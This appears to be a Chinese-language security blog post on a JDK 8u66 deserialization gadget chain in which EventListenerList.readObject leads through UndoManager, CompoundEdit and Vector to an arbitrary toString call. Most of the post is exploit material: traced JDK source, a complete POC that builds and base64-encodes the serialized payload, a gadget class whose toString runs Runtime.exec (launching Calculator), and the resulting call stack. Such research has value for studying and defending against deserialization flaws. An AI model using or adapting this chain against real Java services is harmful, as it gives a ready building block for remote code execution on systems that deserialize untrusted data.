JDK原生触发toString的链子
依赖
jdk8u66
链子分析
EventListenerList 是 Swing 里保存监听器的类,实现了Serializable
链子
ObjectInputStream.readObject()
-> EventListenerList.readObject()
-> add(Class.forName(name), listener)
-> add 里发现 listener 不是指定 Class 的实例
-> 拼异常字符串:"Listener " + listener
-> listener.toString()
-> UndoManager.toString()
-> CompoundEdit.toString()
-> Vector.toString()
-> Vector 里的任意对象.toString()
先来看
javax.swing.event.EventListenerList#readObject()
private void readObject(ObjectInputStream s)
throws IOException, ClassNotFoundException {
listenerList = NULL_ARRAY;
s.defaultReadObject();
Object listenerTypeOrNull;
while (null != (listenerTypeOrNull = s.readObject())) {
ClassLoader cl = Thread.currentThread().getContextClassLoader();
EventListener l = (EventListener)s.readObject();
String name = (String) listenerTypeOrNull;
ReflectUtil.checkPackageAccess(name);
add((Class<EventListener>)Class.forName(name, true, cl), l);
}
}

可以看到有一个循环读取的功能,同时这一句EventListener l = (EventListener)s.readObject();返回Object类型,然后会在进行时强制类型转换为java.util.EventListener
若我们传入的listener对象没有实现EventListener就不会走到add()而是抛出ClassCastException
强硬条件就是:
listener 对象必须能转成 EventListener
listenerTypeOrNull 必须是 String
真正触发toString的是add()中的类型检查,我们跟进到add()看一下
public synchronized <T extends EventListener> void add(Class<T> t, T l) {
if (l==null) {
// In an ideal world, we would do an assertion here
// to help developers know they are probably doing // something wrong return;
}
if (!t.isInstance(l)) {
throw new IllegalArgumentException("Listener " + l +
" is not of type " + t);
}
if (listenerList == NULL_ARRAY) {
// if this is the first listener added,
// initialize the lists listenerList = new Object[] { t, l };
} else {
// Otherwise copy the array and add the new listener
int i = listenerList.length;
Object[] tmp = new Object[i+2];
System.arraycopy(listenerList, 0, tmp, 0, i);
tmp[i] = t;
tmp[i+1] = l;
listenerList = tmp;
}
}

其中有这样一个判断
if (!t.isInstance(l)) {
throw new IllegalArgumentException(
"Listener " + l + " is not of type " + t
);
}
重点在"Listener " + l此处,java在进行字符串拼接时会隐式调用toString
所以我们只要让
t.isInstance(l) == false
就可以进入到异常分支了
接下来我们去寻找符合条件的对象
能被强转成 EventListener
能被序列化 Serializable
内部有toString方法
UndoManager(javax.swing.undo)正好满足
实现了 Serializable、EventListener、UndoableEditListener 等接口
UndoManager#toString()
public String toString() {
return super.toString() + " limit: " + limit +
" indexOfNextAdd: " + indexOfNextAdd;
}
这里调用的还不是任意对象,但 UndoManager.toString() 会继续调用父类逻辑,父类 CompoundEdit 里有一个 edits 字段,这个字段是 Vector,我们跟进看一下
CompoundEdit#toString()
public String toString()
{
return super.toString()
+ " inProgress: " + inProgress
+ " edits: " + edits;
}
inProgress是布尔类型的,而edits是Value对象,会自动触发到他的toString方法
可以通过Vector#add()方法将我们的恶意类添加到其中
public CompoundEdit() {
super();
inProgress = true;
edits = new Vector<UndoableEdit>();
}
public synchronized String toString() {
return super.toString();
}
继续往上层回溯
AbstractCollection#toString()
public String toString() {
Iterator<E> it = iterator();
if (! it.hasNext())
return "[]";
StringBuilder sb = new StringBuilder();
sb.append('[');
for (;;) {
E e = it.next();
sb.append(e == this ? "(this Collection)" : e);
if (! it.hasNext())
return sb.append(']').toString();
sb.append(',').append(' ');
}
}

关键在此处sb.append(e == this ? "(this Collection)" : e);相当于一个迭代器,我们跟进到StringBuilder.append()
public StringBuilder append(Object obj) {
return append(String.valueOf(obj));
}
最后
public static String valueOf(Object obj) {
return (obj == null) ? "null" : obj.toString();
}
可以看到这里就完成了任意类的toString调用了
POC
构造一个恶意类
import java.io.IOException;
import java.io.Serializable;
public class Test implements Serializable {
public String name;
public int age;
public Test(String name, int age) {
this.name = name;
this.age = age;
}
@Override
public String toString(){
Runtime runtime = Runtime.getRuntime();
try {
runtime.exec("open -a Calculator");
} catch (IOException e) {
throw new RuntimeException(e);
}
return "name: " + name + ", age: " + age;
}
}
触发的POC
import javax.swing.event.EventListenerList;
import javax.swing.undo.CompoundEdit;
import javax.swing.undo.UndoManager;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.Vector;
public class EventListenerListPoc {
public static void main(String[] args) throws Exception {
Test evil = new Test("sun", 20);
EventListenerList payload = makePayload(evil);
byte[] data = serialize(payload);
System.out.println("[+] payload bytes length: " + data.length);
System.out.println("[+] payload base64:");
System.out.println(Base64.getEncoder().encodeToString(data));
System.out.println("[+] deserialize now, Test.toString() should be triggered");
try {
deserialize(data);
} catch (IllegalArgumentException expected) {
System.out.println("[+] chain reached toString(), then EventListenerList.add threw:");
System.out.println(" " + expected.getClass().getName());
}
}
private static EventListenerList makePayload(Object evil) throws Exception {
UndoManager undoManager = new UndoManager();
Vector<Object> edits = new Vector<Object>();
edits.add(evil);
setField(undoManager, CompoundEdit.class, "edits", edits);
EventListenerList eventListenerList = new EventListenerList();
setField(eventListenerList, EventListenerList.class, "listenerList",
new Object[]{Class.class, undoManager});
return eventListenerList;
}
private static byte[] serialize(Object object) throws Exception {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(object);
oos.close();
return bos.toByteArray();
}
private static Object deserialize(byte[] data) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data));
return ois.readObject();
}
private static void setField(Object target, Class<?> ownerClass, String fieldName, Object value)
throws Exception {
Field field = ownerClass.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(target, value);
}
}

完整调用栈
toString:19, Test
valueOf:2994, String (java.lang)
append:131, StringBuilder (java.lang)
toString:462, AbstractCollection (java.util)
toString:1000, Vector (java.util)
valueOf:2994, String (java.lang)
append:131, StringBuilder (java.lang)
toString:258, CompoundEdit (javax.swing.undo)
toString:621, UndoManager (javax.swing.undo)
valueOf:2994, String (java.lang)
append:131, StringBuilder (java.lang)
add:187, EventListenerList (javax.swing.event)
readObject:277, EventListenerList (javax.swing.event)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1900, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
unserialize:68, POC
main:15, POC